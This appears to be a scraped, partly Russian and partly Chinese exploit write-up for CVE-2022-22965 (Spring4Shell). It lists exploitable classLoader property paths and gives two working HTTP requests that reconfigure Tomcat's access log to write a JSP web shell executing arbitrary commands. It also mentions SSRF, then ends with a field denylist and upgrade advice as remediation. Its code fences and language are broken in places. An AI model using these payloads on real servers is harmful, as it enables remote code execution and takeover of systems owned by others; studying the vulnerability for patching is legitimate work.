    class.module.classLoader.resources.context.parent.domain
    class.module.classLoader.resources.context.parent.errorReportValveClass
    class.module.classLoader.resources.context.parent.failCtxIfServletStartFails
    class.module.classLoader.resources.context.parent.name
    class.module.classLoader.resources.context.parent.parent
    class.module.classLoader.resources.context.parent.parentClassLoader
    class.module.classLoader.resources.context.parent.realm
    class.module.classLoader.resources.context.parent.startChildren
    class.module.classLoader.resources.context.parent.startStopThreads
    class.module.classLoader.resources.context.parent.undeployOldVersions
    class.module.classLoader.resources.context.parent.unpackWARs
    class.module.classLoader.resources.context.parent.workDir
    class.module.classLoader.resources.context.parent.xmlBase
    class.module.classLoader.resources.context.pipeline.basic
    class.module.classLoader.resources.context.pipeline.container
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.realm.allRolesMode
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.container
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.domain
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.realmPath
    class.module.classLoader.resources.context.realm.stripRealmForGss
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.realm.validate
    class.module.classLoader.resources.context.realm.x509UsernameRetrieverClassName
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.unloadDelay
    class.module.classLoader.resources.context.authenticator.next
    class.module.classLoader.resources.context.authenticator.next.asyncSupported
    class.module.classLoader.resources.context.authenticator.next.container
    class.module.classLoader.resources.context.authenticator.next.domain
    class.module.classLoader.resources.context.authenticator.next.next
    class.module.classLoader.resources.context.jarScanner.jarScanFilter
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultPluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.defaultTldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilityScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.pluggabilitySkip
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldScan
    class.module.classLoader.resources.context.jarScanner.jarScanFilter.tldSkip
    class.module.classLoader.resources.context.manager.engine.backgroundProcessorDelay
    class.module.classLoader.resources.context.manager.engine.cluster
    class.module.classLoader.resources.context.manager.engine.defaultHost
    class.module.classLoader.resources.context.manager.engine.domain
    class.module.classLoader.resources.context.manager.engine.jvmRoute
    class.module.classLoader.resources.context.manager.engine.name
    class.module.classLoader.resources.context.manager.engine.parent
    class.module.classLoader.resources.context.manager.engine.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.realm
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.startChildren
    class.module.classLoader.resources.context.manager.engine.startStopThreads
    class.module.classLoader.resources.context.manager.processExpiresFrequency
    class.module.classLoader.resources.context.manager.sessionIdGenerator
    class.module.classLoader.resources.context.manager.sessionIdGenerator.jvmRoute
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomAlgorithm
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomClass
    class.module.classLoader.resources.context.manager.sessionIdGenerator.secureRandomProvider
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.namingContextListener.envContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.parent.accessLog.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.container
    class.module.classLoader.resources.context.parent.startStopExecutor.corePoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.maximumPoolSize
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.cacheRemovalWarningTime
    class.module.classLoader.resources.context.realm.cacheSize
    class.module.classLoader.resources.context.realm.credentialHandler
    class.module.classLoader.resources.context.realm.credentialHandler.algorithm
    class.module.classLoader.resources.context.realm.credentialHandler.encoding
    class.module.classLoader.resources.context.realm.credentialHandler.iterations
    class.module.classLoader.resources.context.realm.credentialHandler.logInvalidStoredCredentials
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.realm.failureCount
    class.module.classLoader.resources.context.realm.lockOutTime
    class.module.classLoader.resources.context.realm.transportGuaranteeRedirectStatus
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.comment
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.domain
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.httpOnly
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.maxAge
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.name
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.path
    class.module.classLoader.resources.context.servletContext.sessionCookieConfig.secure
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.container
    class.module.classLoader.resources.context.manager.engine.service
    class.module.classLoader.resources.context.manager.engine.service.container
    class.module.classLoader.resources.context.manager.engine.service.domain
    class.module.classLoader.resources.context.manager.engine.service.name
    class.module.classLoader.resources.context.manager.engine.service.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.sessionIdGenerator.sessionIdLength
    class.module.classLoader.resources.context.parent.pipeline.basic
    class.module.classLoader.resources.context.parent.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.basic.container
    class.module.classLoader.resources.context.parent.pipeline.basic.domain
    class.module.classLoader.resources.context.parent.pipeline.basic.next
    class.module.classLoader.resources.context.parent.pipeline.first.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.buffered
    class.module.classLoader.resources.context.parent.pipeline.first.checkExists
    class.module.classLoader.resources.context.parent.pipeline.first.condition
    class.module.classLoader.resources.context.parent.pipeline.first.conditionIf
    class.module.classLoader.resources.context.parent.pipeline.first.conditionUnless
    class.module.classLoader.resources.context.parent.pipeline.first.container
    class.module.classLoader.resources.context.parent.pipeline.first.directory
    class.module.classLoader.resources.context.parent.pipeline.first.domain
    class.module.classLoader.resources.context.parent.pipeline.first.enabled
    class.module.classLoader.resources.context.parent.pipeline.first.encoding
    class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat
    class.module.classLoader.resources.context.parent.pipeline.first.locale
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.pattern
    class.module.classLoader.resources.context.parent.pipeline.first.prefix
    class.module.classLoader.resources.context.parent.pipeline.first.renameOnRotate
    class.module.classLoader.resources.context.parent.pipeline.first.requestAttributesEnabled
    class.module.classLoader.resources.context.parent.pipeline.first.rotatable
    class.module.classLoader.resources.context.parent.pipeline.first.suffix
    class.module.classLoader.resources.context.parent.startStopExecutor.rejectedExecutionHandler
    class.module.classLoader.resources.context.parent.startStopExecutor.threadFactory
    class.module.classLoader.resources.context.realm.credentialHandler.saltLength
    class.module.classLoader.resources.context.manager.engine.pipeline.basic
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.asyncSupported
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.container
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.domain
    class.module.classLoader.resources.context.manager.engine.pipeline.basic.next
    class.module.classLoader.resources.context.manager.engine.service.server
    class.module.classLoader.resources.context.manager.engine.service.server.address
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaBase
    class.module.classLoader.resources.context.manager.engine.service.server.catalinaHome
    class.module.classLoader.resources.context.manager.engine.service.server.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.port
    class.module.classLoader.resources.context.manager.engine.service.server.shutdown
    class.module.classLoader.resources.context.parent.pipeline.first.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.asyncSupported
    class.module.classLoader.resources.context.parent.pipeline.first.next.container
    class.module.classLoader.resources.context.parent.pipeline.first.next.domain
    class.module.classLoader.resources.context.parent.pipeline.first.next.next
    class.module.classLoader.resources.context.parent.pipeline.first.next.showReport
    class.module.classLoader.resources.context.parent.pipeline.first.next.showServerInfo
    class.module.classLoader.resources.context.manager.engine.service.server.catalina
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.await
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.configFile
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.parentClassLoader
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.server
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useNaming
    class.module.classLoader.resources.context.manager.engine.service.server.catalina.useShutdownHook
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingContext.exceptionOnFailedWrite
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.container
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.domain
    class.module.classLoader.resources.context.manager.engine.service.server.globalNamingResources.transaction
    class.module.classLoader.resources.context.manager.engine.service.server.port
    

    Используя class.module.classLoader.resources.context.parent.pipeline можно задать свойства AccessLog, а затем с помощью функции записи журнала реализовать запись веб-шелла. Пример POC: ```text GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXXXXX/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dt%20java.io.InputStream%20in%3DRuntime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3Bint%20a%3D-1%3Bbyte%5B%5D%20b%3Dnew%20byte%5B2048%5D%3Bout.print(%22%3Cpre%3E%22)%3Bwhile(a%3Din.read(b)!%3D-1)%7Bout.println(new%20String(b))%3B%7D%20out.print(%22%3C%2Fpre%3E%22)%3B%20%25%7B%25%7Dt%3E

    root@kitploit:~
    ![](https://assets.kitploit.com/production/public/readmes/35879/57f0473b7120c6732e1260bef21f012b5d14fdd93634f1b75f6405e3545a2cfb.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/49ca7c4815e7b41d943ebbc658df2adae6c094cbc449461fbd6e1a3f12ec1a03.png)
    
    Или используйте заголовок запроса для передачи значения pattern:
    
    * tomcat access log pattern: https://tomcat.apache.org/tomcat-8.0-doc/config/valve.html```
    GET /CVE_2022_22965_war/spring/get-user-info?password=password&user.name=enokiy&user.age=100&names[0]=aaaaaa&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_3&class.module.classLoader.resources.context.parent.pipeline.first.checkExists=true&class.module.classLoader.resources.context.parent.pipeline.first.rotatable=true&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.resources.context.parent.pipeline.first.buffered=false&class.module.classLoader.resources.context.parent.pipeline.first.directory=/XXXX/webapps/CVE_2022_22965_war/&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7BCVE-Test-Poc%7Di HTTP/1.1
    Host: 127.0.0.1:9999
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    CVE-Test-Poc:<% java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a=-1;byte[] b=new byte[2048];out.print("<pre>");while(a=in.read(b)!=-1){out.println(new String(b));} out.print("</pre>"); %>
    

    Также можно использовать class.module.classLoader.resources.context.configFile для SSRF.

    Другие используемые свойства требуют дальнейшего изучения их функций.

    Следует отметить, что изменение указанных выше свойств может привести к перезапуску службы, поэтому при собственном тестировании это не имеет значения, но ни в коем случае не используйте эти poc напрямую в реальной среде, если вы не уверены и не можете нести ответственность за последствия их использования!!

    Исправление уязвимости и обход

    В новом способе исправления есть два основных момента для предотвращения перезаписи переменных:

    1. Отключение через глобальные настройки привязки WebDataBinder к полям disallowFields для определённых полей:```java @ControllerAdvice @Order(Ordered.LOWEST_PRECEDENCE) public class BinderControllerAdvice { @InitBinder public void setAllowedFields(WebDataBinder dataBinder) { String[] denylist = new String[]{"class.", "Class.", ".class.", ".Class."}; dataBinder.setDisallowedFields(denylist); } }
    root@kitploit:~
    但是这种黑名单的方式可能存在被绕过的可能;临时使用ok,但不是长久之计;
    
    2. 在CachedIntrospectionResults中,获取beaninfo的时候增加了判断,变成了仅允许Class类的name 变量:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/dc44c04cdc51c71f135c2eab8b3d8e7b6101a60a44a1a7f39a6e71a39ac543a4.png)
    
    **Другие меры по предотвращению:**
    
    1. В новых версиях tomcat также были приняты меры по предотвращению уязвимости. Сначала использовалась версия tomcat 8.5.78, но уязвимость не воспроизводилась. Путем отладки было обнаружено, что при использовании class.module.classLoader.resources в этой версии tomcat полученный resources был пустым, что делало эксплуатацию невозможной. Таким образом, обновление версии tomcat также может предотвратить эту уязвимость;
    2. Версии ниже JDK 9 не подвержены этой уязвимости.
    
    Скачать инструмент